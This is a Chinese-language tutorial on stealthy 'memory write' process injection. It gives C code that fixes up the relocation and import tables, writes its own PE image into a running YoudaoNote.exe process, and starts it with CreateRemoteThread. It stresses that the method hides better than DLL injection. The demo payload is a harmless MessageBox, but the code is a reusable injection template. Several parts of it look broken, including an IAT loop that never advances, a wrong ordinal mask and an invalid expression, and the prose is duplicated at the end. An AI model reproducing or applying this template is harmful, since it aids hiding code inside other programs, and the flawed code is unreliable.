内存写入技术详解
字数 617 2025-08-24 23:51:23

内存写入技术详解

前言

内存写入技术是一种比传统DLL注入更隐蔽的注入方式。传统注入方法如全局钩子注入、远程线程注入等会在目标程序的导入表中留下明显痕迹,而内存写入技术通过直接写入shellcode实现更隐蔽的注入。

基础知识

重定位表

重定位表(Relocation Table)用于在程序加载到内存时进行内存地址修正。当程序加载地址与默认ImageBase不同时,需要修正所有"写死"的绝对地址。

重定位表结构:

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD VirtualAddress;
    DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;

PE结构

PE文件主要分为两部分:

  1. 数据管理结构:

    • DOS头(MZ头和DOS存根)
    • PE头(PE标识、文件头、可选头)
    • 节表(描述各节的属性、位置等信息)
  2. 数据部分:

    • 各节的实际数据(代码、数据等)

导入表与IAT表

导入表结构:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD Characteristics;
        DWORD OriginalFirstThunk; // 指向INT表
    };
    DWORD TimeDateStamp;
    DWORD ForwarderChain;
    DWORD Name; // 指向DLL名称
    DWORD FirstThunk; // 指向IAT表
} IMAGE_IMPORT_DESCRIPTOR;

IAT表(Import Address Table)在加载前存储函数名称,加载后存储实际函数地址。

实现过程

1. 修复IAT表

修复IAT表的关键代码:

DWORD WINAPI FixIATTable(LPVOID ImageBase) {
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pNTHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
    
    // 获取导入表
    PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
    
    while(pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk) {
        // 加载DLL
        const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
        HMODULE hModule = LoadLibrary(pModuleAddr);
        
        // 处理INT和IAT表
        PDWORD OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
        PDWORD FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
        
        while(*OriginalFirstThunk) {
            DWORD dwFuncAddr = 0;
            if(*OriginalFirstThunk & 0x80000000) {
                // 序号导入
                DWORD Original = *OriginalFirstThunk & 0xFFF;
                dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
            } else {
                // 名称导入
                PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
                dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
            }
            *FirstThunk = dwFuncAddr;
            OriginalFirstThunk++;
        }
        pIMPORT_DESCRIPTOR++;
    }
    return 1;
}

2. 修复重定位表

修复重定位表的关键代码:

PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
while(pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0) {
    DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
    PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
    
    for(int i = 0; i < sizeOfWord; i++) {
        if(*pWord >> 12 != 0) {
            PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
            *offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
            pWord++;
            continue;
        }
        pWord++;
    }
    pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
}

3. 完整注入流程

VOID inject(LPCWSTR InjetName) {
    // 1. 获取目标进程信息
    WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
    DWORD dwPid = GetPid(ProcessName);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
    
    // 2. 获取关键函数地址
    HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
    MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
    pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
    
    // 3. 计算函数偏移
    DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
    DWORD dwTemp = (DWORD)ThreadProc;
    if(*((char*)dwTemp) == (char)0xE9) {
        dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
    }
    DWORD pFun = dwTemp - CurrentImageBase;
    
    // 4. 加载镜像到内存
    LPVOID pImageBuff = LoadImageBuffSelf();
    DWORD SizeofImage = GetSizeOfImage(pImageBuff);
    DWORD ImageBase = GetImageBase(pImageBuff);
    
    // 5. 在目标进程申请内存
    LPVOID pAlloc = NULL;
    for(DWORD i = 0; pAlloc == NULL; i += 0x10000) {
        pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
    
    // 6. 修复重定位表
    if((DWORD)pAlloc != ImageBase) {
        ChangeImageBase(pImageBuff, (DWORD)pAlloc);
    }
    
    // 7. 写入目标进程
    WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL);
    
    // 8. 创建远程线程执行
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL);
}

实现效果

成功注入后,目标程序(如"有道云笔记")会:

  1. 首先弹出一个MessageBox提示框
  2. 然后每隔一秒钟弹出一个"内存写入"的提示框

这种技术比传统DLL注入更隐蔽,不会在目标程序的导入表中留下明显痕迹。

注意事项

  1. 需要正确处理重定位表,否则会导致地址错误
  2. IAT表修复必须在目标进程上下文中进行
  3. 内存申请时需要考虑对齐问题
  4. 注入代码需要考虑跨进程兼容性
内存写入技术详解 前言 内存写入技术是一种比传统DLL注入更隐蔽的注入方式。传统注入方法如全局钩子注入、远程线程注入等会在目标程序的导入表中留下明显痕迹,而内存写入技术通过直接写入shellcode实现更隐蔽的注入。 基础知识 重定位表 重定位表(Relocation Table)用于在程序加载到内存时进行内存地址修正。当程序加载地址与默认ImageBase不同时,需要修正所有"写死"的绝对地址。 重定位表结构: PE结构 PE文件主要分为两部分: 数据管理结构: DOS头(MZ头和DOS存根) PE头(PE标识、文件头、可选头) 节表(描述各节的属性、位置等信息) 数据部分: 各节的实际数据(代码、数据等) 导入表与IAT表 导入表结构: IAT表(Import Address Table)在加载前存储函数名称,加载后存储实际函数地址。 实现过程 1. 修复IAT表 修复IAT表的关键代码: 2. 修复重定位表 修复重定位表的关键代码: 3. 完整注入流程 实现效果 成功注入后,目标程序(如"有道云笔记")会: 首先弹出一个MessageBox提示框 然后每隔一秒钟弹出一个"内存写入"的提示框 这种技术比传统DLL注入更隐蔽,不会在目标程序的导入表中留下明显痕迹。 注意事项 需要正确处理重定位表,否则会导致地址错误 IAT表修复必须在目标进程上下文中进行 内存申请时需要考虑对齐问题 注入代码需要考虑跨进程兼容性